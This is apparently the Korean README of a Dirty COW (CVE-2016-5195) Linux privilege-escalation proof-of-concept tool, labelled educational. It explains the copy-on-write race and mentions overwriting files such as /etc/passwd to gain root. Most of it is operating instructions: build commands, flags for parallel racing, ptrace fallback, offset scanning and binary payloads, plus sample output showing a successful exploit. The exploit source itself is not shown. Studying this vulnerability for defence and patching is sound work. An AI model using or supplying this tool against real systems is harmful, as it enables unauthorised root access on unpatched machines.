
Dirty COW(CVE-2016-5195) 교육용 PoC — 로깅, ptrace 폴백 및 바이너리 페이로드 지원 포함.
이 코드는 교육 목적으로만 제공됩니다. 악의적인 사용은 엄격히 금지되며 불법입니다.
Dirty COW(CVE-2016-5195)는 Linux 커널의 권한 상승 취약점으로, 커널의 COW(Copy-On-Write, 쓰기 시 복사) 메커니즘에서 발생하는 레이스 컨디션(race condition)을 악용합니다. 이 취약점은 2007년에 출시된 버전 2.6.22부터 다음 버전 이전까지의 Linux 커널에 영향을 미칩니다:
이 취약점은 커널의 메모리 관리 시스템에서 발생합니다:
MAP_PRIVATE로 파일을 매핑하면, 수정 시 개인 복사본이 생성되어야 합니다madvise(MADV_DONTNEED)와 /proc/self/mem 쓰기 사이에서 경쟁하는 두 스레드/etc/passwd와 같은 시스템 파일을 수정하여 root 접근 권한을 획득할 가능성프로덕션 시스템이나 소유하지 않은 시스템에서 절대 실행하지 마세요!
# 1. Check kernel version first
uname -r
# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Test with harmless files only
./main -t /tmp/test_file -v
# 4. Monitor system resources
top -p $(pgrep -f main)
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Standard compilation
make
# Debug version
make main-debug
# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto
# Simple test with default settings
./main
# Verbose mode with custom target
./main -t /tmp/testfile -v
# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v
# Binary payload from file
./main -f payload.bin -P -D -n 2
/proc/self/mem 쓰기 (기본값)ptrace(PTRACE_POKETEXT)최적의 쓰기 위치를 찾기 위해 여러 메모리 오프셋을 스캔합니다:
./main -D -v # Enable dynamic offset scanning
강도 높은 레이스 컨디션을 유발하기 위해 여러 프로세스를 실행합니다:
./main -n 4 # Use 4 parallel processes
파일에서 임의의 바이너리 데이터를 로드합니다:
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Use binary payload
./main -f payload.bin -v
실패한 시도를 자동으로 재시도합니다:
./main -r 5 # Retry up to 5 times
SHA-256 해싱을 사용하여 파일 수정을 검증합니다:
# Check original vs modified file hashes
./main -v # Shows hash comparison in verbose mode
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
이 도구는 exploit_log.txt에 상세 로그를 생성합니다:
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# Test basic exploit functionality
./main -t /tmp/basic_test -v
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v
# Test when /proc/self/mem is blocked
./main -P -D -v
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
이 익스플로잇은 두 작업 사이에 경쟁(race)을 만들어 동작합니다:
madvise(MADV_DONTNEED) - 커널에 메모리 페이지를 폐기하도록 지시합니다/proc/self/mem에 쓰기 - 매핑된 메모리에 쓰기를 시도합니다MAP_PRIVATE로 매핑되어야 함레이스 컨디션이 성공하면:
1. "익스플로잇 실패 또는 반복 횟수 부족"
-i로 반복 횟수를 늘리거나 -n으로 여러 프로세스를 사용하세요2. "/proc/self/mem 접근 실패"
-P 플래그로 ptrace 방법을 사용하세요3. "시스템이 취약하지 않을 수 있습니다"
uname -r4. 시스템이 응답하지 않게 됩니다
-i 1000000-n 1# Conservative settings (slower but safer)
./main -i 5000000 -n 1
# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D
# Balanced settings
./main -i 20000000 -n 2 -r 2 -D
이 도구는 교육용 도구입니다. 기여는 다음에 중점을 두어야 합니다:
이 소프트웨어는 교육 및 연구 목적으로만 제공됩니다. 저자와 기여자는 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 모든 시스템에서 테스트를 수행하기 전에 적절한 권한을 보유하고 있는지 확인할 전적인 책임이 있습니다.
이 소프트웨어를 사용함으로써 다음 사항을 인정하게 됩니다:
이 프로젝트는 교육 목적으로만 MIT 라이선스로 배포됩니다.
기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 지식을 시스템을 보호하고 안전하게 유지하는 데 사용하고, 해를 끼치는 데 사용하지 마세요.
| 옵션 | 설명 | 기본값 | 최대값 |
|---|
-t <file> | 대상 파일 경로 | /tmp/dirty_cow_test | - |
-p <payload> | 사용자 지정 텍스트 페이로드 | 테스트 문자열 | - |
-f <file> | 파일에서 바이너리 페이로드 로드 | - | - |
-i <num> | 반복 횟수 | 10,000,000 | 100,000,000 |
-n <num> | 병렬 프로세스 수 | 1 | 8 |
-r <num> | 재시도 횟수 | 1 | 10 |
-P | /proc/self/mem 대신 ptrace 사용 | 비활성화 | - |
-D | 동적 오프셋 스캔 활성화 | 비활성화 | - |
-v | 상세(verbose) 출력 | 비활성화 | - |
-l <file> | 로그 파일 경로 | exploit_log.txt | - |
-h | 도움말 표시 | - | - |